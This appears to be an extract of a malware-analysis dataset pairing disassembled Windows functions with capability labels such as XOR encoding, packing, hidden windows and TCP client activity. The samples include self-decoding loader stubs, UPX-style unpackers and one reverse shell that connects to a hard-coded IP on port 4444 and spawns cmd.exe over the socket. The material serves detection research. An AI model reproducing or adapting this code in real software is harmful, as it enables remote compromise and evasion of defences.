joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x409070
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x40907f
pop dword [ebp - 0x50]
mov eax, 0xb5966b4c
add eax, 0x4aaa2533
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x38a6e
push 0
mov eax, 0xce43472
sub eax, 0xca3539a
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x9050042d
sub ecx, 0x904fbe62
xor ebx, ebx
add ebx, eax
mov esi, 0x27d37e6d
sub esi, 0x279242a9
add esi, dword [ebp - 0x50]
mov edi, 0x70691fc
add edi, 0x939c0dcf
mov dword [ebp - 0x10], 0xcf44ebd5
mov edx, dword [esi]
add dword [ebp - 0x38], ebx
xor edx, edi
add dword [ebp - 0x44], 0x8b2c19eb
mov dword [ebx], edx
sub dword [ebp - 0x48], eax
add ebx, 4
add esi, 0x3012b16c
add esi, 0xcfed4e98
loop 0x4090e0
add eax, 0x109ff
xor ebx, ebx
add ebx, eax
add eax, 0xffcb7028
add eax, 0x348fdd
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x40633c
pop dword [ebp - 0x48]
mov eax, 0x40633c
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xc29ed1f0
add dword [ebp - 0x58], 0x8bb3735b
mov dword [ebp - 0x54], 0xb41c3126
sub dword [ebp - 0x54], 0x81e8e4e1
mov dword [ebp - 0x50], 0x2f751c3e
add dword [ebp - 0x50], 0x1cd727f0
mov dword [ebp - 0x4c], 0x32b98d44
sub dword [ebp - 0x4c], 0x32b98d44
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xec015dca
sub dword [ebp - 0x58], 0x778ef474
mov dword [ebp - 0x54], 0x85f5b595
add dword [ebp - 0x54], 0xbb76abe0
mov dword [ebp - 0x50], 0xcde90cc0
sub dword [ebp - 0x50], 0x6a79a054
mov dword [ebp - 0x4c], 0x5676202e
add dword [ebp - 0x4c], 0xa989dfd2
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xa601021e
sub eax, 0xa5c0911e
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x36c51
push 0
call eax
mov ecx, 0x510ed374
sub ecx, 0x510e8ad9
xor esi, esi
add esi, eax
mov edx, 0x27be4c4e
sub edx, 0x277d4c4e
add edx, dword [ebp - 0x48]
mov edi, 0x724328b2
sub edi, 0xe527ff71
sub dword [ebp - 0x2c], eax
mov ebx, dword [edx]
sub dword [ebp - 0x40], 0xc5cc83a0
xor ebx, edi
xor dword [ebp - 0x14], 0x215f683f
mov dword [esi], ebx
add esi, 4
add edx, 0xbace2abc
sub edx, 0xbace2ab8
loop 0x406456
add eax, 0x1153f
mov ebx, eax
add eax, 0x9c0b7e3c
sub eax, 0x9c0b7e37
mov ecx, 0xa9b62e07
sub ecx, 0xa9762e07
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x44142d
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x44145b
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x441479
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00441397
jmp 0x441479
mov eax, dword [esi + 0x14]
test eax, eax
je 0x441479
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.00441397
test edi, edi
mov eax, edi
jne 0x441463
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x56b45c]
test ecx, ecx
je 0x44152c
jmp 0x44142c
ret 8

Function at 0x41c230
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x16000]
push edi
or ebp, 0xffffffff
jmp 0x41c252
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41c259
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41c248
mov eax, 1
add ebx, ebx
jne 0x41c26b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41c260
jne 0x41c27c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41c260
xor ecx, ecx
sub eax, 3
jb 0x41c290
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41c302
mov ebp, eax
add ebx, ebx
jne 0x41c29b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41c2a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41c2cc
inc ecx
add ebx, ebx
jne 0x41c2b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41c2ad
jne 0x41c2c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41c2ad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41c2ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41c2dd
jmp 0x41c24e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41c2ec
add edi, ecx
jmp 0x41c24e
pop esi
mov edi, esi
mov ecx, 2
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41c30a
cmp byte [edi], 5
jne 0x41c30a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x41c30f
lea edi, [esi + 0x1a000]
mov eax, dword [edi]
or eax, eax
je 0x41c387
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x21bac]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x21be8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41c33c
mov ecx, edi
jns 0x41c36b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x21bec]
or eax, eax
je 0x41c381
mov dword [ebx], eax
add ebx, 4
jmp 0x41c359
call dword [esi + 0x21bf0]
popal
jmp 0x401150
Function at 0x401460
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x44
call sym.___main
mov dword [ebp - 0xc], str.172.27.29.189
mov word [ebp - 0xe], 0x115c
mov dword [esp + 4], 0x407020
mov dword [esp], 0x202
call sym._WSAStartup_8
sub esp, 8
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._WSASocketA_24
sub esp, 0x18
mov dword [0x4071b0], eax
mov word [0x4071b4], 2
movzx eax, word [ebp - 0xe]
movzx eax, ax
mov dword [esp], eax
call sym._htons_4
sub esp, 4
mov word [0x4071b6], ax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._inet_addr_4
sub esp, 4
mov dword [0x4071b8], eax
mov eax, dword [0x4071b0]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x4071b4
mov dword [esp], eax
call sym._WSAConnect_28
sub esp, 0x1c
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
mov dword [esp], 0x4071e0
call sym._memset
mov dword [0x4071e0], 0x44
mov dword [0x40720c], 0x100
mov eax, dword [0x4071b0]
mov dword [0x407220], eax
mov eax, dword [0x407220]
mov dword [0x40721c], eax
mov eax, dword [0x40721c]
mov dword [0x407218], eax
mov dword [esp], str.cmd.exe
call sym.__strdup
mov dword [esp + 0x24], 0x407224
mov dword [esp + 0x20], 0x4071e0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._CreateProcessA_40
sub esp, 0x28
mov dword [esp], 0
call sym._exit
nop
Function at 0x401c70
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407264
call sym._EnterCriticalSection_4
mov ebx, dword [0x40725c]
sub esp, 4
test ebx, ebx
je 0x401cbb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401cb4
test esi, esi
je 0x401cb4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401c90
mov dword [esp], 0x407264
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401ea0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401ef0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x401fc8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x401f2e
cmp eax, 4
jne 0x401f50
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x401f3e
cmp edx, 4
je 0x401f3e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401ea0
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x430072
mov ebx, 0x408ecc
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x74c175b9
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x1fc31dbd
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x405400
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40540f
pop dword [ebp - 0x4c]
mov eax, 0x1dcca9a4
sub eax, 0x1d8c5595
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x53cdd0bb
sub dword [ebp - 0x5c], 0x57b8b70
mov dword [ebp - 0x58], 0xc3c804a2
add dword [ebp - 0x58], 0x6e6b47a3
mov dword [ebp - 0x54], 0x7ebfeca9
sub dword [ebp - 0x54], 0x3273a87b
mov dword [ebp - 0x50], 0x6aa0180c
sub dword [ebp - 0x50], 0x6aa0180c
lea eax, [ebp - 0x5c]
push eax
mov eax, 0xe6b9d43c
sub eax, 0xe67873a4
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xe6bb9b35
add dword [ebp - 0x5c], 0x8db6ce21
mov dword [ebp - 0x58], 0x5276e0d
add dword [ebp - 0x58], 0x3c44f368
mov dword [ebp - 0x54], 0x4c58bed9
sub dword [ebp - 0x54], 0xe8e9526d
mov dword [ebp - 0x50], 0x89a17b7a
add dword [ebp - 0x50], 0x765e8486
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x39d3a
push 0
call eax
mov ecx, 0xae4c3ad2
add ecx, 0x51b4060a
xor ebx, ebx
add ebx, eax
mov esi, 0x60c08d72
add esi, 0x9f82188e
add esi, dword [ebp - 0x4c]
mov edi, 0xac897907
add edi, 0xa1b3a281
xor dword [ebp - 8], edx
mov edx, dword [esi]
sub dword [ebp - 0x20], 0x6a531117
xor edx, edi
sub dword [ebp - 0x10], esi
mov dword [ebx], edx
sub dword [ebp - 4], ebx
add ebx, 0xd5e1cf2d
add ebx, 0x2a1e30d7
add esi, 4
loop 0x40552e
add eax, 0xcf3cd0e6
add eax, 0x30c4255d
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x3f1f2264
sub ecx, 0x3edf2264
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x40ee60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x40ee85
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov eax, dword [eax]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40eea6
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x40eea8
xor eax, eax
cdq
mov dword [ebp - 4], eax
mov ecx, edx
mov dword [ebp - 8], ecx
test edi, edi
jl 0x40ef26
jg 0x40eebb
test esi, esi
je 0x40ef26
test ecx, ecx
jl 0x40eeff
jg 0x40eec5
test eax, eax
je 0x40eeff
cmp edi, ecx
jg 0x40eed7
jl 0x40eecf
cmp esi, eax
jae 0x40eed7
mov eax, esi
mov dword [ebp - 4], esi
mov dword [ebp - 8], edi
push eax
push dword [ebp + 8]
push dword [ebp - 0xc]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [ebp - 4]
add esp, 0xc
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x30]
add edx, ecx
sub esi, ecx
sbb edi, dword [ebp - 8]
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
jmp 0x40ef02
mov edx, dword [ebp + 8]
test edi, edi
jl 0x40ef26
jg 0x40ef0c
test esi, esi
je 0x40ef26
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x40ef26
push eax
push esi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x309b2f6f
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x433060
nop
nop
nop
nop
mov eax, section..rdata
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x5c6319e0
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x4330c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401973
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov dword [0x405177], ebp
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x40523e], eax
xor eax, eax
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4051d2], eax
mov dword [0x40516f], eax
mov dword [0x4051be], 0x30
mov dword [0x4051c2], 2
xor eax, eax
mov dword [0x4051c6], 0x403439
mov dword [0x4051ca], eax
mov dword [0x4051ce], eax
mov eax, str.sunwes
mov dword [0x4051de], 0xe
mov dword [0x4051e6], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4051da], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4051d6], eax
mov dword [0x4051ea], eax
push 0x4051be
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x40516f]
push 0
push 0
push 0x1ea
push 0x208
push 0xfffff60a
push 0xfffff6d2
push 0xcf0000
push 0x4040a7
push str.sunwes
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x405232], eax
push 5
push eax
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x405232]
call dword [sym.imp.user32.dll_UpdateWindow]
xor edi, edi
lea ebx, [0x4051ee]
jmp 0x401a75
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x401a67
mov eax, dword [0x4051f6]
call fcn.00402ed4
ret
Function at 0x403065
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea edx, [0x405256]
mov ecx, edx
mov eax, dword [edx]
inc ecx
inc ecx
inc ecx
inc ecx
mov edi, dword [ecx]
mov ecx, eax
mov eax, dword [edi]
add edi, 4
mov esi, edi
mov ebx, esi
add edi, eax
mov edx, edi
dec edx
sub ecx, eax
dec ecx
dec ecx
dec ecx
dec ecx
lea eax, [0x405256]
mov dword [eax], ecx
inc eax
inc eax
inc eax
inc eax
mov dword [eax], edi
push ecx
mov cl, byte [edi]
mov al, byte [0x4051a4]
mov ah, byte [esi]
add al, ah
xor al, cl
mov byte [edi], al
mov eax, edx
cmp esi, eax
jne 0x4030b2
mov esi, ebx
dec esi
inc esi
pop ecx
inc edi
dec ecx
jne 0x403099
mov edi, esi
push 0x39
push 0x405256
push 0x111
push dword [0x405232]
call dword [sym.imp.user32.dll_SendMessageA]
mov ecx, dword [0x405256]
mov edi, dword [0x40525a]
mov esi, dword [0x40524a]
mov al, byte [esi]
mov byte [edi], al
inc esi
inc edi
dec ecx
jne 0x4030e4
mov esi, dword [0x40519f]
mov ecx, dword [0x40519b]
push ecx
add ecx, esi
mov dword [0x405216], ecx
pop ecx
mov eax, dword [esi]
inc esi
inc esi
nop
inc esi
inc esi
mov edi, dword [0x40524a]
mov ebx, esi
add ebx, eax
mov dword [0x405212], ebx
mov edx, esi
add esi, eax
mov ecx, 0
movzx eax, byte [edx]
inc eax
cmp edx, ebx
jae 0x40318b
cmp eax, ecx
jae 0x403130
ret
sub eax, ecx
mov ecx, eax
test ecx, ecx
je 0x403141
mov al, byte [esi]
mov byte [edi], al
inc esi
inc edi
dec ecx
jne 0x403138
inc edx
mov al, byte [edx]
inc edx
movzx ecx, byte [edx]
test ecx, ecx
je 0x403154
push ecx
mov byte [edi], al
inc edi
dec ecx
jne 0x40314d
pop ecx
inc edx
movzx eax, byte [edx]
inc cl
cmp cl, 0
jne 0x403175
inc al
cmp al, 0
jne 0x40316d
inc edx
movzx eax, word [edx]
inc edx
inc edx
jmp 0x403171
mov al, 0
dec al
dec cl
jmp 0x403187
dec cl
inc al
cmp al, 0
jne 0x403185
inc edx
movzx eax, word [edx]
inc edx
inc edx
jmp 0x403187
dec al
jmp 0x403127
mov ecx, dword [0x405216]
sub ecx, esi
test ecx, ecx
je 0x4031a0
mov al, byte [esi]
mov byte [edi], al
inc esi
inc edi
dec ecx
jne 0x403197
mov edi, dword [0x40524a]
mov dword [0x40524a], edi
ret
Function at 0x406de0
Capabilities:
Hide graphical window

Disassembly:
push 0
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_GetWindowLongA
or eax, 0x80
push eax
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_SetWindowLongA
push 5
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x461f20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x455015
lea edi, [esi - 0x54015]
push edi
or ebp, 0xffffffff
jmp 0x461f42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x461f49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x461f38
mov eax, 1
add ebx, ebx
jne 0x461f5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x461f50
jne 0x461f6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x461f50
xor ecx, ecx
sub eax, 3
jb 0x461f80
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x461ff2
mov ebp, eax
add ebx, ebx
jne 0x461f8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x461f98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x461fbc
inc ecx
add ebx, ebx
jne 0x461fa8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x461f9d
jne 0x461fb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x461f9d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x461fdc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x461fcd
jmp 0x461f3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x461fdc
add edi, ecx
jmp 0x461f3e
pop esi
mov edi, esi
mov ecx, 0x32d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x461ffa
cmp byte [edi], 0
jne 0x461ffa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x461fff
lea edi, [esi + 0x5f000]
mov eax, dword [edi]
or eax, eax
je 0x46206e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x621f0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x62254]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x46202c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x62258]
or eax, eax
je 0x462068
mov dword [ebx], eax
add ebx, 4
jmp 0x462049
call dword [esi + 0x6225c]
popal
jmp 0x4095a4